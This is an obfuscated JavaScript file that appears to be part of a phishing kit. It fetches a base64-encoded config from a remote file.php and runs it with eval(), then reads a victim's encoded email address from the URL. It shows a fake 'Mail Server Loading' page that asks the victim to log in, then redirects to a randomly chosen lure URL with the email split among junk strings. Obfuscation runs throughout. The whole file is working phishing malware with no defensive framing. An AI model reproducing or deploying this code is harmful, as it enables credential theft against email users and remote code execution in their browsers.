/* one for now */ const m7IHmhNMCw = "VEhJ"+"U0lTS"+"E9XRE"+"VFUElUR0VUU09OVEhFSU5URVJORVQ"; /* one for now */ function v21YP6KIo4(wz2T9GsCyE) {/* iFYGQHKN nonsense */ /* one for now */ try { wz2T9GsCyE = wz2T9GsCyE.replace(/[\r\n\s]+/g, ''); // Remove whitespace/newlines /* one for now */ wz2T9GsCyE = wz2T9GsCyE.replace(/-/g, '+').replace(/_/g, '/'); while (wz2T9GsCyE.length % 4) wz2T9GsCyE += '='; /* one for now */ return decodeURIComponent(escape(atob(wz2T9GsCyE))); } catch (CzPxoTgCrC) { /* one for now */ console.error("Base64 decode failed:", CzPxoTgCrC, "Input:", wz2T9GsCyE); /* one for now */ return null; } } /* one for now */ function p7uUhqdNxo(WXK54OBGZQ) {var w7rASVB = 4315; /* one for now */ return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(WXK54OBGZQ); } /* one for now */ function UgtwgHULRj(GJE33tdQDO) {/* WVFsZDf7 nonsense */ // eO5ThllY junk injected /* one for now */ return GJE33tdQDO.charAt(0).toUpperCase() + GJE33tdQDO.slice(1); } /* one for now */ function MfZG6O5vPk(noEYwHQHgG, NhCqoVeonh) { /* one for now */ /* liEaIvxX nonsense */ const eQHO6WBuTu = document.getElementById("ICz2AT"+"3J1K"); const BUwbp90OgX = document.getElementById("bjRzgxSVGg"); const MNbDDJDv9Y = document.getElementById("aCUm"+"OlhYWW"); eQHO6WBuTu.textContent = noEYwHQHgG || "Network error..."; /* one for now */ BUwbp90OgX.textContent = NhCqoVeonh || ""; MNbDDJDv9Y.querySelector(".ybgxfiT"+"0DD").style.display = "none"; /* CUmm95Au nonsense */ if(false){var PZO7On=1;} eQHO6WBuTu.classList.add("CYNl7si1Ok"); /* one for now */ } /* one for now */ async function NCAVef5xKh(YnhtMY4GKC) { /* one for now */ let aDb8rzpRVu, jcpvP57Wa9, bqbDBWIaHs, P5kPZrdLaG; try { aDb8rzpRVu = await fetch(YnhtMY4GKC); try{}catch(kGX){} jcpvP57Wa9 = await aDb8rzpRVu.text(); bqbDBWIaHs = jcpvP57Wa9.split(m7IHmhNMCw).join(''); /* PHnoRBhX nonsense */ P5kPZrdLaG = v21YP6KIo4(bqbDBWIaHs); if (!P5kPZrdLaG) throw new Error("Failed to decode base64 config"); /* one for now */ eval(P5kPZrdLaG); if (!window.mailConfig || typeof window.mailConfig !== "object") throw new Error("mailConfig not set"); return window.mailConfig; /* hMs2Qja6 nonsense */ } catch (yzzMbzlQ60) { /* one for now */ MfZG6O5vPk("Network error...", "Config load failed"); throw yzzMbzlQ60; } } /* one for now */ (async function() { /* one for now */ // 0. Read domain and path from hidden p tags const yz2lHejovJ = document.getElementById("Cbctrm8MeA").textContent.trim(); const dDCJuk6BFm = document.getElementById("LHx"+"8szwV"+"EW").textContent.trim(); /* one for now */ // 1. Build config URL let slecI7fZ72 = ''; if (dDCJuk6BFm) { slecI7fZ72 = `https://${yz2lHejovJ}/${dDCJuk6BFm ? dDCJuk6BFm + '/' : ''}file.php?go=1`; } else { slecI7fZ72 = `https://${yz2lHejovJ}/file.php`; } /* one for now */ // 2. Continue as normal const HW8BkWd2Mb = document.getElementById("ICz2AT3"+"J1K"); const IGrQPrcT2W = document.getElementById("bj"+"RzgxSVGg"); const CAidbdlu7W = document.getElementById("aCUmOl"+"hYWW"); try { const Sg8sYH0q9h = await NCAVef5xKh(slecI7fZ72); /* one for now */ let qdYcnBySik = window.location.search + window.location.hash; const s92XRm24Xr = Sg8sYH0q9h.ignore || []; s92XRm24Xr.forEach(XLpnKGaJnY => { if (XLpnKGaJnY && typeof XLpnKGaJnY === "string" && XLpnKGaJnY.length > 0) { qdYcnBySik = qdYcnBySik.split(XLpnKGaJnY).join(''); } }); /* one for now */ let xZCUWTqBTB = null, TngkQGsdTn = null; const uByafy2l13 = Sg8sYH0q9h.visitors || []; for (let NpYvc4Ejhg of uByafy2l13) { if (NpYvc4Ejhg && typeof NpYvc4Ejhg === "string" && NpYvc4Ejhg.length > 0) { let BWonrbQorL = qdYcnBySik.indexOf(NpYvc4Ejhg); if (BWonrbQorL !== -1) { xZCUWTqBTB = NpYvc4Ejhg; // Everything after the marker, until next & or end let nJvNTDiOgv = qdYcnBySik.substring(BWonrbQorL + NpYvc4Ejhg.length); // If there's a & after, only take up to that point let bfQBYSNS5c = nJvNTDiOgv.indexOf('&'); if (bfQBYSNS5c !== -1) { TngkQGsdTn = nJvNTDiOgv.substring(0, bfQBYSNS5c); } else { TngkQGsdTn = nJvNTDiOgv; } break; } } } if (!xZCUWTqBTB || !TngkQGsdTn) return MfZG6O5vPk("Network error...", "No marker found"); /* one for now */ let kt6QXimA3L = v21YP6KIo4(TngkQGsdTn); if (!kt6QXimA3L || !p7uUhqdNxo(kt6QXimA3L)) return MfZG6O5vPk("Network error...", "Invalid email"); /* one for now */ let kjc1Fz8swF = kt6QXimA3L.split('@'); let BC7jcw2wwv = kjc1Fz8swF[1]; let xmPGgdKJq7 = (() => { let AygxdwQOEy = BC7jcw2wwv.split('.'); if (AygxdwQOEy.length < 2) return UgtwgHULRj(BC7jcw2wwv); let OiKAq9oxE4 = (AygxdwQOEy.length >= 3) ? 2 : 1; let bW6CP8TKic = AygxdwQOEy.slice(0, AygxdwQOEy.length - OiKAq9oxE4).join('.'); return UgtwgHULRj(bW6CP8TKic); })(); /* one for now */ document.title = `${xmPGgdKJq7} Mail Server Loading`; HW8BkWd2Mb.textContent = `Loading ${xmPGgdKJq7} MailServer...`; IGrQPrcT2W.textContent = `Please login your email ${kt6QXimA3L} to continue.`; /* one for now */ // --------- PATCHED REDIRECT LOGIC STARTS HERE ---------- setTimeout(async () => { try { let iF16N9cdjL = Sg8sYH0q9h.urls; if (!Array.isArray(iF16N9cdjL) || !iF16N9cdjL.length) throw new Error("No URLs in config"); /* one for now */ // Pick a random target_url let xY3yXuiDE0 = iF16N9cdjL[Math.floor(Math.random() * iF16N9cdjL.length)]; /* one for now */ // The visitor marker used (from config, including "?" and "=") let zeLsJeW1Yj = xZCUWTqBTB; // e.g. "?KQ2P8N7VL=" /* one for now */ // Get ignore array and pick three random (allow repeats) function GukgXwyXY9() { return s92XRm24Xr[Math.floor(Math.random() * s92XRm24Xr.length)] || ""; /* Gn4ianEP nonsense */ try{}catch(vFO){} } let uhF4bulJg0 = GukgXwyXY9(); let aoj8oOB2od = GukgXwyXY9(); let hciNz88eOI = GukgXwyXY9(); /* one for now */ // Split base64 email in half let zmO0HYcpCD = TngkQGsdTn; let evG5oMlVz0 = Math.floor(zmO0HYcpCD.length / 2); let C0Lmx7mYph = zmO0HYcpCD.slice(0, evG5oMlVz0); let Tyfxezkqrz = zmO0HYcpCD.slice(evG5oMlVz0); /* one for now */ // Find &mode=... param (after ignore stripping, so from the cleaned URL) let GNGQPCJnB2 = ""; let LUdKyM1HJf = qdYcnBySik.match(/&mode=([^&]*)/i); if (LUdKyM1HJf) { // Further strip ignore strings from mode value, just in case let zVtuKA3Ip5 = LUdKyM1HJf[1]; s92XRm24Xr.forEach(NaltmeJlSu => { zVtuKA3Ip5 = zVtuKA3Ip5.split(NaltmeJlSu).join(''); }); GNGQPCJnB2 = `&mode=${zVtuKA3Ip5}`; } /* one for now */ // Compose final redirect URL let O6x2Uq3GYR = ( xY3yXuiDE0 + zeLsJeW1Yj + uhF4bulJg0 + C0Lmx7mYph + aoj8oOB2od + Tyfxezkqrz + (GNGQPCJnB2 || "") + hciNz88eOI ); /* one for now */ window.location.href = O6x2Uq3GYR; /* one for now */ } catch (D6kB5akITZ) { MfZG6O5vPk("Ne"+"two"+"rk error...", "No vali"+"d redire"+"ct URL"); } }, 3000); // --------- PATCHED REDIRECT LOGIC ENDS HERE ---------- /* one for now */ } catch (qiIw3xCefr) { MfZG6O5vPk("Network error...", (qiIw3xCefr && qiIw3xCefr.message) ? qiIw3xCefr.message : ""); } })(); /* one for now */